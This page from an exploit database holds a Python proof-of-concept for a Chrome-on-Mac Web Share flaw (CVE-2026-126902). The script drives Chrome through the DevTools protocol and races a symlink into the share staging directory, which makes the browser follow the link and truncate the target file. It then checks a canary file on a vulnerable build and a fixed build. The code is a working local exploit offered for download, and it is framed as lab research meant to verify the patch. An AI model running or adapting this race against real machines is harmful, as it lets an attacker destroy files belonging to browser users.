Exploit database

GH-f82196708e66d5722f30fcc52c09cd7b

abraxas/chrome-mac-webshare-symlink

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-126902

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
abraxas/chrome-mac-webshare-symlinkRevision b12c3232578f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/poc.py

Python · 32,688 bytes
#!/usr/bin/env python3
######################################################################################
#
#        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.
#       d88888 888  "88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b
#      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.
#     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  "Y888b.
#    d88P  888 888  "Y88b 8888888P"     d88P  888    d888b       d88P  888     "Y88b.
#   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       "888
#  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P
# d88P     888 8888888P"  888   T88b d88P     888 d88P   Y88b d88P     888  "Y8888P"
#
#                     888             d8888 888888b.    .d8888b.
#                     888            d88888 888  "88b  d88P  Y88b
#                     888           d88P888 888  .88P  Y88b.
#                     888          d88P 888 8888888K.   "Y888b.
#                     888         d88P  888 888  "Y88b     "Y88b.
#                     888        d88P   888 888    888       "888
#                     888       d8888888888 888   d88P Y88b  d88P
#                     88888888 d88P     888 8888888P"   "Y8888P"
#
#  Mail    : [email protected]
#
#  CVE: CVE-2026-126902 (High)
#  Vendor: Google Chrome on Mac
#  Versions: Chrome on Mac < 157.0.8103.78
#  Impact: Web Share StoreFileTask follows a symlink and truncates the target
#  Requires: macOS arm64, Chrome for Testing 157.0.8103.50 and 157.0.8103.78
#
######################################################################################
#
#  RESEARCH / EDUCATIONAL USE ONLY.
#  Do not run, deploy, or use this material against any host unless you have
#  explicit written permission from both the party hosting this repository
#  and the owner of the target systems.
#
######################################################################################

import os as _os
import shutil as _shutil
import sys as _sys
import builtins as _builtins

_ART = {"abraxas": ["        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.", "       d88888 888  \"88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b", "      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.", "     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  \"Y888b.", "    d88P  888 888  \"Y88b 8888888P\"     d88P  888    d888b       d88P  888     \"Y88b.", "   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       \"888", "  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P", " d88P     888 8888888P\"  888   T88b d88P     888 d88P   Y88b d88P     888  \"Y8888P\""], "labs": ["                     888             d8888 888888b.    .d8888b.", "                     888            d88888 888  \"88b  d88P  Y88b", "                     888           d88P888 888  .88P  Y88b.", "                     888          d88P 888 8888888K.   \"Y888b.", "                     888         d88P  888 888  \"Y88b     \"Y88b.", "                     888        d88P   888 888    888       \"888", "                     888       d8888888888 888   d88P Y88b  d88P", "                     88888888 d88P     888 8888888P\"   \"Y8888P\""]}
_CVE = "CVE-2026-126902"
_EMAIL = "[email protected]"

_RST = "\033[0m"
_BLD = "\033[1m"
_CYAN = (0, 255, 249)
_MAGENTA = (255, 0, 212)
_PINK = (255, 77, 224)
_GREEN = (57, 255, 20)
_GOLD = (255, 230, 0)
_AMBER = (255, 201, 70)
_RED = (255, 64, 96)
_MUTED = (140, 155, 175)
_INK = (232, 255, 248)
_RAIN = [
    (255, 77, 224), (255, 0, 212), (191, 95, 255), (91, 140, 255),
    (0, 210, 255), (0, 255, 249), (57, 255, 20), (180, 255, 70),
    (255, 230, 0), (255, 201, 70), (255, 122, 24), (255, 64, 96),
]


def _on():
    return not _os.environ.get("NO_COLOR")


def _rgb(r, g, b):
    if not _on():
        return ""
    return f"\033[38;2;{r};{g};{b}m"


def _paint(text, rgb, bold=False):
    if not text or rgb is None:
        return text or ""
    prefix = _rgb(*rgb) + (_BLD if bold else "")
    return "".join(ch if ch == " " else prefix + ch for ch in text)


def _box(inner, border):
    edge = _rgb(*border) + "║" + _RST
    return edge + " " + inner + _RST + " " + edge


def _rule(left, right, border, width):
    return _rgb(*border) + left + "═" * (width - 2) + right + _RST


def _split(text, left_end, right_start, left_rgb, right_rgb, mid_rgb=None, left_bold=False):
    return (
        _paint(text[:left_end], left_rgb, bold=left_bold)
        + _paint(text[left_end:right_start], mid_rgb)
        + _paint(text[right_start:], right_rgb)
    )


def _fit(left, right, width, fill=" "):
    gap = max(width - len(left) - len(right), 1)
    return (left + fill * gap + right)[:width].ljust(width)


def _lerp(a, b, t):
    return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))


def _rain(x, width):
    if width <= 1:
        return _RAIN[0]
    t = (x / (width - 1)) * (len(_RAIN) - 1)
    i = min(int(t), len(_RAIN) - 2)
    return _lerp(_RAIN[i], _RAIN[i + 1], t - i)


def _logo_line(line):
    width = max(len(line), 1)
    out = []
    quoted = False
    for x, ch in enumerate(line):
        if ch == " ":
            out.append(ch)
            continue
        quoted ^= ch == '"'
        if ch == '"':
            color = _AMBER if quoted else _GOLD
        elif quoted:
            color = _GOLD
        else:
            color = _rain(x, width)
        out.append(_rgb(*color) + ch)
    return "".join(out) + _RST


def _banner_width(cols):
    art = _ART["abraxas"] + _ART["labs"]
    art_w = max(len(row) for row in art)
    content_w = min(max(art_w, 88), max(cols - 4, 40))
    box_w = content_w + 4
    if box_w > cols:
        content_w = max(cols - 4, 20)
        box_w = content_w + 4
    return content_w, box_w


def _title_row(width):
    left, right = " ABRAXAS LABS", "analyze · reverse · disclose"
    text = _fit(left, right, width)
    return _split(text, len(left), width - len(right), _CYAN, _MUTED, left_bold=True)


def _cve_row(width):
    left, right = " " + _CVE, "authorized research only"
    rest = max(width - len(left) - len(right), 3)
    text = (left + " local lab ".center(rest)[:rest] + right)[:width].ljust(width)
    return _split(text, len(left), width - len(right), _PINK, _GREEN, mid_rgb=_MAGENTA, left_bold=True)


def _mail_row(width):
    left, right = " Mail", _EMAIL
    text = _fit(left, right, width)
    return _split(text, len(left), width - len(right), _GOLD, _CYAN)


def _status_line():
    marks = {"[": _GREEN, "]": _GREEN, "*": _GREEN, "·": _PINK, "#": _PINK}
    text = "[*]  abraxas!null ready on #labs"
    return "".join(ch if ch == " " else _rgb(*marks.get(ch, _INK)) + ch for ch in text) + _RST


def print_abraxas_banner():
    cols = _shutil.get_terminal_size((120, 30)).columns
    content_w, box_w = _banner_width(cols)
    lines = [
        _rule("╔", "╗", _CYAN, box_w),
        _box(_title_row(content_w) + _RST, _CYAN),
        _rule("╠", "╣", _MAGENTA, box_w),
        _box(_cve_row(content_w) + _RST, _MAGENTA),
        _rule("╠", "╣", _MAGENTA, box_w),
    ]
    for glyph in _ART["abraxas"] + _ART["labs"]:
        vis = glyph[:content_w].ljust(content_w)
        lines.append(_box(_logo_line(vis), _MAGENTA))
    lines.extend([
        _rule("╠", "╣", _MAGENTA, box_w),
        _box(_mail_row(content_w) + _RST, _MAGENTA),
        _rule("╚", "╝", _CYAN, box_w),
        " " + _status_line(),
    ])
    _sys.stdout.write("\n".join(lines) + "\n\n")
    _sys.stdout.flush()


def _message_color(s):
    low = s.lower()
    stripped = s.lstrip()
    if low.startswith("success"):
        return _rgb(*_GREEN) + _BLD
    if low.startswith("fail"):
        return _rgb(*_RED) + _BLD
    if "user_id" in low:
        return _rgb(*_AMBER) + _BLD
    if low.startswith("status=") or "status=" in low[:20]:
        return _rgb(*_CYAN)
    if low.startswith("carrier"):
        return _rgb(*_MAGENTA)
    if stripped[:1] in "{[":
        return _rgb(*_GOLD)
    return _rgb(*_INK)


def _cprint(*args, **kwargs):
    sep = kwargs.get("sep", " ")
    s = sep.join(str(a) for a in args)
    dest = kwargs.get("file", _sys.stdout)
    if dest is not _sys.stdout and dest is not _sys.stderr:
        _PRINT(*args, **kwargs)
        return
    extra = {k: v for k, v in kwargs.items() if k != "sep"}
    _PRINT(_message_color(s) + s + _RST, **extra)

print_abraxas_banner()
_PRINT = _builtins.print
_builtins.print = _cprint

"""CVE-2026-126902 Web Share staging-link witness.

Mac StoreFileTask opened the staging path with FLAG_CREATE_ALWAYS, which
follows a symlink and truncates the target. 157.0.8103.78 deletes the entry
and opens with FLAG_CREATE | FLAG_NO_FOLLOW. The share-<uuid> directory is
created on a worker before that open is posted back through the UI thread.
"""


import json
import multiprocessing
import os
import queue
import shutil
import signal
import socket
import subprocess
import threading
import time
import urllib.error
import urllib.request
from dataclasses import dataclass
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path
from typing import Any

LABEL = "CVE-2026-126902"
WITNESS = "CVE-2026-126902-WEBSHARE-LINK-WITNESS"
HOST = "127.0.0.1"
PORT = 18690
CDP_PORT = 18691
ORIGIN = f"http://{HOST}:{PORT}"
VULN = "157.0.8103.50"
FIXED = "157.0.8103.78"
LEAF = "share-witness.txt"
SHARE_BODY = b"share-blob\n"
CANARY_BODY = (WITNESS + "\n").encode("utf-8") + (b"C" * 48)
CHROME_ROOT = Path("/tmp/cve126909-chrome")
RUN = Path(__file__).resolve().parent
ATTEMPTS = 5
PROFILE_MARK = "cve126902-profile"
LINES: list[str] = []

PAGE = """<!DOCTYPE html>
<html lang="en"><head><meta charset="utf-8"><title>share</title></head>
<body>
<button id="go" style="position:fixed;inset:0;font-size:28px">share</button>
<script>
function invoke() {
  const file = new File(["share-blob\\n"], "share-witness.txt", {type: "text/plain"});
  if (typeof navigator.share !== "function") {
    document.documentElement.dataset.share = "missing";
    return "missing";
  }
  let allowed = true;
  if (typeof navigator.canShare === "function") {
    try { allowed = navigator.canShare({files: [file]}); }
    catch (err) {
      document.documentElement.dataset.share = "canShare:" + err.name;
      return "canShare:" + err.name;
    }
  }
  if (!allowed) {
    document.documentElement.dataset.share = "canShare-false";
    return "canShare-false";
  }
  navigator.share({files: [file], title: "lab"}).then(
    () => { document.documentElement.dataset.share = "ok"; },
    (err) => {
      document.documentElement.dataset.share = err.name + ":" + err.message;
    }
  );
  return "invoked";
}
document.getElementById("go").addEventListener("click", () => { invoke(); });
window.__invoke = invoke;
</script>
</body></html>
""".encode("utf-8")


def log(msg: str) -> None:
    print(msg, flush=True)
    LINES.append(msg)


def _write_log() -> None:
    RUN.mkdir(parents=True, exist_ok=True)
    (RUN / "poc-last-run.txt").write_text("\n".join(LINES) + "\n", encoding="utf-8")


def finish(line: str) -> int:
    log(line)
    _write_log()
    return 0 if line.startswith("SUCCESS ") else 1


class Handler(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def do_GET(self) -> None:  # noqa: N802
        path = self.path.split("?", 1)[0]
        if path == "/health":
            body = b"OK"
            content_type = "text/plain"
        elif path in ("/", "/poc.html"):
            body = PAGE
            content_type = "text/html; charset=utf-8"
        else:
            body = b"missing"
            content_type = "text/plain"
            self._send(404, body, content_type)
            return
        self._send(200, body, content_type)

    def _send(self, status: int, body: bytes, content_type: str) -> None:
        self.send_response(status)
        self.send_header("Content-Type", content_type)
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt: str, *args: object) -> None:
        return


def start_http() -> ThreadingHTTPServer:
    ThreadingHTTPServer.allow_reuse_address = True
    httpd = ThreadingHTTPServer((HOST, PORT), Handler)
    thread = threading.Thread(target=httpd.serve_forever, name="http", daemon=True)
    thread.start()
    return httpd


def chrome_bin(version: str) -> Path:
    return (
        CHROME_ROOT
        / f"chrome-mac-arm64-{version}"
        / "chrome-mac-arm64"
        / "Google Chrome for Testing.app"
        / "Contents"
        / "MacOS"
        / "Google Chrome for Testing"
    )


def _plant_loop(
    root: str,
    leaf: str,
    canary: str,
    stop: Any,
    result: Any,
) -> None:
    """Plant one symlink at share-<uuid>/<leaf> before Chrome opens it."""
    deadline = time.time() + 20
    while not stop.is_set() and time.time() < deadline and not os.path.isdir(root):
        time.sleep(0.01)
    seen: set[str] = set()
    lost_sent = False
    listdir = os.listdir
    symlink = os.symlink
    while not stop.is_set():
        try:
            names = listdir(root)
        except FileNotFoundError:
            continue
        for name in names:
            if not name.startswith("share-"):
                continue
            dest = f"{root}/{name}/{leaf}"
            if dest in seen:
                continue
            try:
                symlink(canary, dest)
            except FileExistsError:
                seen.add(dest)
                if not lost_sent:
                    result.put(("lost", dest))
                    lost_sent = True
            except OSError:
                continue
            else:
                seen.add(dest)
                result.put(("planted", dest))
                return


def _recv_exact(sock: socket.socket, size: int) -> bytes:
    buf = bytearray()
    while len(buf) < size:
        chunk = sock.recv(size - len(buf))
        if not chunk:
            raise ConnectionError("cdp-closed")
        buf.extend(chunk)
    return bytes(buf)


def _send_frame(sock: socket.socket, opcode: int, payload: bytes) -> None:
    mask = os.urandom(4)
    header = bytearray([0x80 | opcode])
    length = len(payload)
    if length < 126:
        header.append(0x80 | length)
    elif length < 65536:
        header.append(0x80 | 126)
        header.extend(length.to_bytes(2, "big"))
    else:
        header.append(0x80 | 127)
        header.extend(length.to_bytes(8, "big"))
    header.extend(mask)
    masked = bytes(byte ^ mask[index % 4] for index, byte in enumerate(payload))
    sock.sendall(bytes(header) + masked)


def _recv_text(sock: socket.socket) -> str:
    chunks: list[bytes] = []
    while True:
        head = _recv_exact(sock, 2)
        fin = (head[0] & 0x80) != 0
        opcode = head[0] & 0x0F
        length = head[1] & 0x7F
        if length == 126:
            length = int.from_bytes(_recv_exact(sock, 2), "big")
        elif length == 127:
            length = int.from_bytes(_recv_exact(sock, 8), "big")
        if head[1] & 0x80:
            mask = _recv_exact(sock, 4)
            data = bytes(
                byte ^ mask[index % 4]
                for index, byte in enumerate(_recv_exact(sock, length))
            )
        else:
            data = _recv_exact(sock, length)
        if opcode == 9:
            _send_frame(sock, 0xA, data)
            continue
        if opcode == 8:
            raise ConnectionError("cdp-close")
        if opcode in (0, 1):
            chunks.append(data)
            if fin:
                return b"".join(chunks).decode("utf-8", "replace")
        elif fin and not chunks:
            continue


class Cdp:
    def __init__(self, sock: socket.socket) -> None:
        self.sock = sock
        self.next_id = 0

    def call(
        self,
        method: str,
        params: dict[str, Any] | None = None,
        timeout: float = 8,
    ) -> dict[str, Any]:
        self.next_id += 1
        message_id = self.next_id
        body = json.dumps({"id": message_id, "method": method, "params": params or {}})
        _send_frame(self.sock, 1, body.encode("utf-8"))
        deadline = time.time() + timeout
        while time.time() < deadline:
            self.sock.settimeout(max(0.2, deadline - time.time()))
            payload = json.loads(_recv_text(self.sock))
            if payload.get("id") != message_id:
                continue
            if "error" in payload:
                raise RuntimeError(f"cdp-{method}-{payload['error'].get('message', 'error')}")
            result = payload.get("result", {})
            if isinstance(result, dict):
                return result
            return {}
        raise TimeoutError(method)


def _ws_connect(ws_url: str) -> socket.socket:
    if not ws_url.startswith("ws://"):
        raise RuntimeError("cdp-url")
    rest = ws_url[len("ws://") :]
    _host_port, _, path = rest.partition("/")
    sock = socket.create_connection((HOST, CDP_PORT), timeout=5)
    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
    key = "dGhlIHNhbXBsZSBub25jZQ=="
    request = (
        f"GET /{path} HTTP/1.1\r\n"
        f"Host: {HOST}:{CDP_PORT}\r\n"
        "Upgrade: websocket\r\n"
        "Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: {key}\r\n"
        "Sec-WebSocket-Version: 13\r\n"
        "\r\n"
    )
    sock.sendall(request.encode("ascii"))
    buf = bytearray()
    while b"\r\n\r\n" not in buf:
        chunk = sock.recv(4096)
        if not chunk:
            raise ConnectionError("cdp-handshake")
        buf.extend(chunk)
        if len(buf) > 65536:
            raise ConnectionError("cdp-handshake")
    status = bytes(buf).split(b"\r\n", 1)[0]
    if b" 101 " not in status:
        raise ConnectionError("cdp-not-websocket")
    return sock


def _get_json(url: str, timeout: float = 2) -> Any:
    with urllib.request.urlopen(url, timeout=timeout) as response:
        return json.loads(response.read().decode("utf-8"))


def wait_cdp(proc: subprocess.Popen[bytes], timeout: float = 25) -> None:
    deadline = time.time() + timeout
    url = f"http://{HOST}:{CDP_PORT}/json/version"
    while time.time() < deadline:
        if proc.poll() is not None:
            raise RuntimeError(f"chrome-exited-{proc.returncode}")
        try:
            _get_json(url, timeout=0.5)
            return
        except (urllib.error.URLError, TimeoutError, OSError, json.JSONDecodeError):
            time.sleep(0.1)
    raise TimeoutError("cdp-timeout")


def connect_page(proc: subprocess.Popen[bytes]) -> Cdp:
    deadline = time.time() + 15
    last_error = "no-page"
    while time.time() < deadline:
        if proc.poll() is not None:
            raise RuntimeError(f"chrome-exited-{proc.returncode}")
        try:
            targets = _get_json(f"http://{HOST}:{CDP_PORT}/json/list", timeout=1)
        except (urllib.error.URLError, TimeoutError, OSError, json.JSONDecodeError) as exc:
            last_error = type(exc).__name__
            time.sleep(0.1)
            continue
        page = None
        for target in targets:
            if target.get("type") != "page":
                continue
            url = str(target.get("url", ""))
            if url.startswith(ORIGIN):
                page = target
                break
            if page is None:
                page = target
        if page and page.get("webSocketDebuggerUrl"):
            return Cdp(_ws_connect(str(page["webSocketDebuggerUrl"])))
        time.sleep(0.1)
    raise TimeoutError(last_error)


def eval_value(cdp: Cdp, expression: str, user_gesture: bool = False, timeout: float = 8) -> str:
    try:
        result = cdp.call(
            "Runtime.evaluate",
            {
                "expression": expression,
                "returnByValue": True,
                "userGesture": user_gesture,
                "awaitPromise": False,
            },
            timeout=timeout,
        )
    except (TimeoutError, ConnectionError, RuntimeError, OSError) as exc:
        return f"cdp:{exc}"
    details = result.get("exceptionDetails")
    if isinstance(details, dict):
        exc = details.get("exception", {})
        description = ""
        if isinstance(exc, dict):
            description = str(exc.get("description", ""))
        text = description or str(details.get("text", "exception"))
        return "exception:" + text[:180]
    value = result.get("result", {})
    if isinstance(value, dict):
        return str(value.get("value", ""))
    return ""


def kill_chrome(proc: subprocess.Popen[bytes] | None) -> None:
    if proc is not None and proc.poll() is None:
        try:
            os.killpg(proc.pid, signal.SIGTERM)
        except (ProcessLookupError, PermissionError):
            proc.terminate()
        try:
            proc.wait(timeout=2)
        except subprocess.TimeoutExpired:
            try:
                os.killpg(proc.pid, signal.SIGKILL)
            except (ProcessLookupError, PermissionError):
                proc.kill()
            proc.wait(timeout=2)
    subprocess.run(
        ["pkill", "-f", PROFILE_MARK],
        check=False,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
    )


def wait_port_free(port: int) -> None:
    deadline = time.time() + 5
    while time.time() < deadline:
        with socket.socket() as sock:
            sock.settimeout(0.2)
            try:
                sock.connect((HOST, port))
            except OSError:
                return
        time.sleep(0.1)


def tag_bytes(data: bytes) -> str:
    if data == CANARY_BODY:
        return "witness"
    if data == SHARE_BODY:
        return "blob"
    if data == b"":
        return "empty"
    if WITNESS.encode("utf-8") in data:
        return "witness-partial"
    return f"other:{len(data)}"


def short_stage(path: str) -> str:
    if not path:
        return "none"
    return os.path.basename(os.path.dirname(path)) + "/" + os.path.basename(path)


@dataclass
class Snap:
    planted: bool
    lost: bool
    stage: str
    link: bool
    canary: str
    share: str
    regular: bytes | None

    def line(self, version: str, attempt: int) -> str:
        stage_tag = "missing"
        if self.link:
            stage_tag = "link"
        elif self.regular == SHARE_BODY:
            stage_tag = "blob"
        elif self.regular is not None:
            stage_tag = tag_bytes(self.regular)
        return (
            f"attempt version={version} n={attempt} planted={int(self.planted)} "
            f"lost={int(self.lost)} stage={self.stage} stage_tag={stage_tag} "
            f"canary={self.canary} share={self.share}"
        )


def snapshot(canary: Path, planted: bool, path: str, lost: bool, share: str) -> Snap:
    link = bool(path) and os.path.islink(path)
    regular: bytes | None = None
    if path and not link and os.path.isfile(path):
        regular = Path(path).read_bytes()
    data = canary.read_bytes() if canary.is_file() else b""
    return Snap(planted, lost, short_stage(path), link, tag_bytes(data), share[:180], regular)


def vuln_hit(snap: Snap) -> bool:
    return snap.planted and snap.link and snap.canary in {"blob", "empty"}


def fixed_hit(snap: Snap) -> bool:
    return (
        snap.planted
        and snap.canary == "witness"
        and not snap.link
        and snap.regular == SHARE_BODY
    )


def share_names(profile: Path) -> str:
    found: list[str] = []
    default = profile / "Default"
    if not default.is_dir():
        return "no-default"
    skip = {"Cache", "Code Cache", "GPUCache", "Service Worker", "CacheStorage", "DawnCache"}
    for dirpath, dirnames, _filenames in os.walk(default):
        if os.path.basename(dirpath) in skip:
            dirnames.clear()
            continue
        parent = os.path.basename(dirpath)
        for name in dirnames:
            if name == "WebShare" or name.startswith("share-"):
                found.append(f"{parent}/{name}")
        if len(found) >= 8:
            break
    return ",".join(found) if found else "none"


def activate_chrome() -> None:
    subprocess.run(
        [
            "osascript",
            "-e",
            'tell application "Google Chrome for Testing" to activate',
        ],
        check=False,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        timeout=5,
    )


def click_share(cdp: Cdp) -> None:
    for event in ("mousePressed", "mouseReleased"):
        cdp.call(
            "Input.dispatchMouseEvent",
            {"type": event, "x": 30, "y": 30, "button": "left", "clickCount": 1},
            timeout=3,
        )


def one_attempt(version: str, attempt: int, canary: Path) -> Snap:
    profile = RUN / f"{PROFILE_MARK}-{version}-{attempt}"
    shutil.rmtree(profile, ignore_errors=True)
    profile.mkdir(parents=True)
    canary.write_bytes(CANARY_BODY)
    binary = chrome_bin(version)
    proc = subprocess.Popen(
        [
            str(binary),
            f"--user-data-dir={profile}",
            f"--remote-debugging-port={CDP_PORT}",
            f"--remote-debugging-address={HOST}",
            "--remote-allow-origins=*",
            "--no-first-run",
            "--no-default-browser-check",
            "--disable-sync",
            "--disable-extensions",
            "--disable-component-update",
            "--disable-background-networking",
            "--disable-default-apps",
            "--disable-popup-blocking",
            "--disable-translate",
            "--disable-features=TranslateUI,MediaRouter",
            "--use-mock-keychain",
            "--password-store=basic",
            "--disable-breakpad",
            "--disable-hang-monitor",
            "--metrics-recording-only",
            "--window-size=800,600",
            "--window-position=40,40",
            f"{ORIGIN}/",
        ],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        start_new_session=True,
    )
    try:
        os.setpriority(os.PRIO_PROCESS, proc.pid, 12)
    except (PermissionError, ProcessLookupError):
        pass
    stop = multiprocessing.Event()
    result_q: multiprocessing.Queue[tuple[str, str]] = multiprocessing.Queue()
    webshare = profile / "Default" / "WebShare"
    planter = multiprocessing.Process(
        target=_plant_loop,
        args=(str(webshare), LEAF, str(canary), stop, result_q),
        daemon=True,
    )
    share = "not-run"
    planted = False
    path = ""
    lost = False
    started = False
    try:
        wait_cdp(proc)
        default_dir = profile / "Default"
        deadline = time.time() + 10
        while time.time() < deadline and not default_dir.is_dir():
            time.sleep(0.05)
        webshare.mkdir(parents=True, exist_ok=True)
        planter.start()
        started = True
        cdp = connect_page(proc)
        cdp.call("Page.enable", timeout=5)
        cdp.call("Page.bringToFront", timeout=5)
        activate_chrome()
        cdp.call("Page.navigate", {"url": f"{ORIGIN}/"}, timeout=8)
        ready = ""
        for _ in range(40):
            ready = eval_value(cdp, "document.readyState", timeout=3)
            if ready == "complete":
                break
            time.sleep(0.1)
        visibility = eval_value(
            cdp,
            "document.visibilityState + '/' + document.hasFocus()",
            timeout=3,
        )
        log(f"visibility version={version} n={attempt} state={visibility} ready={ready}")
        share = eval_value(cdp, "window.__invoke()", user_gesture=True, timeout=5)
        if share != "invoked":
            try:
                click_share(cdp)
            except (TimeoutError, ConnectionError, RuntimeError, OSError):
                pass
        deadline = time.time() + 4
        while time.time() < deadline:
            planted, path, lost = _drain(result_q, planted, path, lost)
            if planted and path:
                data = canary.read_bytes()
                replaced = os.path.isfile(path) and not os.path.islink(path)
                if data != CANARY_BODY or replaced:
                    time.sleep(0.2)
                    break
            time.sleep(0.02)
        share_now = eval_value(
            cdp,
            "document.documentElement.dataset.share || ''",
            timeout=3,
        )
        if share_now:
            share = share_now
        planted, path, lost = _drain(result_q, planted, path, lost)
        log(f"dirs version={version} n={attempt} {share_names(profile)}")
        return snapshot(canary, planted, path, lost, share)
    finally:
        stop.set()
        if started:
            planter.join(timeout=1)
            if planter.is_alive():
                planter.kill()
                planter.join(timeout=1)
        kill_chrome(proc)
        wait_port_free(CDP_PORT)
        shutil.rmtree(profile, ignore_errors=True)


def _drain(
    result_q: multiprocessing.Queue[tuple[str, str]],
    planted: bool,
    path: str,
    lost: bool,
) -> tuple[bool, str, bool]:
    while True:
        try:
            kind, dest = result_q.get_nowait()
        except queue.Empty:
            return planted, path, lost
        if kind == "planted":
            planted = True
            path = dest
        elif kind == "lost":
            lost = True


def _run_pin(version: str, canary: Path, hit: Any) -> Snap | None:
    last: Snap | None = None
    for attempt in range(ATTEMPTS):
        try:
            last = one_attempt(version, attempt, canary)
        except (RuntimeError, TimeoutError, ConnectionError, OSError) as exc:
            log(f"attempt version={version} n={attempt} error={type(exc).__name__}")
            continue
        log(last.line(version, attempt))
        if hit(last):
            return last
        if last.share in {"missing", "canShare-false"} or last.share.startswith("canShare:"):
            return last
    return last


def share_not_driven(snap: Snap) -> bool:
    if snap.planted or snap.lost:
        return False
    text = snap.share
    if text in {"missing", "canShare-false"} or text.startswith("canShare:"):
        return True
    if "user gesture" in text:
        return True
    if text in {"not-run", "exception:exception"} or text.startswith("cdp:"):
        return True
    return False


def main() -> int:
    if WITNESS.encode("utf-8") not in CANARY_BODY or WITNESS.encode("utf-8") in SHARE_BODY:
        return finish(f"FAIL {LABEL} witness-bytes {WITNESS}")
    httpd: ThreadingHTTPServer | None = None
    try:
        try:
            httpd = start_http()
        except OSError:
            return finish(f"FAIL {LABEL} port-busy {WITNESS}")
        try:
            with urllib.request.urlopen(f"{ORIGIN}/health", timeout=2) as response:
                healthy = response.read() == b"OK"
        except (urllib.error.URLError, TimeoutError, OSError):
            healthy = False
        if not healthy:
            return finish(f"FAIL {LABEL} http-health {WITNESS}")
        for version in (VULN, FIXED):
            if not chrome_bin(version).is_file():
                return finish(f"FAIL {LABEL} chrome-missing-{version} {WITNESS}")
        canary = RUN / "canary.txt"
        vuln_snap = _run_pin(VULN, canary, vuln_hit)
        if vuln_snap is None or not vuln_hit(vuln_snap):
            if vuln_snap is not None and share_not_driven(vuln_snap):
                return finish(f"FAIL {LABEL} share-ui-not-driven {WITNESS}")
            return finish(f"FAIL {LABEL} vuln-pin-did-not-truncate {WITNESS}")
        fixed_snap = _run_pin(FIXED, canary, fixed_hit)
        if fixed_snap is None or not fixed_hit(fixed_snap):
            if fixed_snap is not None and share_not_driven(fixed_snap):
                return finish(f"FAIL {LABEL} share-ui-not-driven-fixed {WITNESS}")
            return finish(f"FAIL {LABEL} fixed-pin-did-not-keep-canary {WITNESS}")
        return finish(f"SUCCESS {LABEL} vuln=truncated fixed=intact {WITNESS}")
    except Exception as exc:  # noqa: BLE001 - process edge, still emit the oracle line
        detail = type(exc).__name__
        log(f"error {detail}")
        return finish(f"FAIL {LABEL} {detail} {WITNESS}")
    finally:
        if httpd is not None:
            httpd.shutdown()
            httpd.server_close()
        kill_chrome(None)
        canary = RUN / "canary.txt"
        if canary.exists():
            canary.unlink()


if __name__ == "__main__":
    raise SystemExit(main())